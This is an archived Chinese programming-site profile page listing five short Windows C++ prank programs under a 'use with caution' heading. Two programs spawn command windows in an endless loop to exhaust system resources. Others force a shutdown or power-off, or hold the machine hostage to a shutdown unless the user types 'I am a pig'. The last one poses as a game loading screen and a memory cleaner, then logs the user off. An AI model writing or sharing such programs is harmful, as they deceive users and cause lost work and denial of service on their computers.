跳到正文

PengFly

1420014

这个家伙不懒,什么都留下了

这是 2026年10月22日 存档的第 1 版,不是当前版本。查看当前版本

资料、奖项与版本

资料

编号
1420014
抓取

版本

  1. v2当前
  2. v1

谨慎操作

(1)

C++
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)system("start cmd");
}

(2)

C++
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    system("shutdown -s -t 60");
    system("shutdown -p");
}

(3)

C++
#include<windows.h>
using namespace std;
int main()
{
    system("color F5");
    for(;;) system("start cmd");
    return 0;
}

(4)

C++
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
 
int main()
{
    char Alisy[256];
 
flag:
    system("shutdown -s -t 180");
    printf("快说我是猪,不然3分钟关你机!\n");
    scanf("%s",&Alisy);
    if(0==strcmp(Alisy,"我是猪"))
    {
        system("shutdown -a");
    }
    else
    {
        goto flag;
    }
    return 0;
}

(5)

C++
#include<windows.h>
#include<stdlib.h>
#include<iostream>
using namespace std;
int main()
{
int n;
cout<<"开始游戏按1"<<endl;
cin>>n;
if(n==1)
{
for(int i=0;i<100;i++)
{
cout<<"--------------------------------------------"<<endl;
cout<<"  地图:沙漠2 ------------------------------"<<endl;
cout<<"  正在加载:"<<i<<'%'<<"-----------------------------"<<endl;
cout<<"--------------------------------------------"<<endl;
Sleep(100);
system("cls");
}
}
cout<<"内存已满,是否清理?(1.是,2.否)(填数字)"<<endl;
cin>>n;
if(n==1){
cout<<"开始清理"<<endl;
Sleep(5000);
cout<<"哈哈哈"<<endl;
system("shutdown -l");
}
if(n==2){
cout<<"内存不够,开始强行清理!"<<endl;
system("shutdown -l");
}
return 0;
}